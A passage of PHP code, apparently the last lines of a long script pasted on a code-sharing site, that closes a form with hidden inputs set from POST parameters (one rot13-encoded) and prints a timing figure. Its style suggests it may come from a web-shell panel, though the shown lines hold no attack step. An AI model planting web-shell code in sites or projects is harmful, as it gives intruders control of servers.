  2189. if (isset($_POST['fef'])) echo '<input type="hidden" name="fe" value="1"/><input type="hidden" name="fpr" value="', htmlspecialchars(str_rot13($_POST['fef'])) , '"/>';
  2190.   else
  2191.     {
  2192.     $e = array(
  2193.         'fe',
  2194.         'fs',
  2195.         'se',
  2196.         'nt',
  2197.         'br',
  2198.         'sc',
  2199.         'si'
  2200.     );
  2201.     foreach($e as $i)
  2202.     if (isset($_POST[$i]))
  2203.         {
  2204.         echo '<input type="hidden" name="' . $i . '"/>';
  2205.         break;
  2206.         }
  2207.     } ?></form></td><td align="right"><?php
  2208. echo @number_format(mt() - ST, 3, '.', '');
  2209. ?> s.</td></tr></table></fieldset></body></html><?php
  2210. die();
  2211. ?>
Add Comment
Please, Sign In to add comment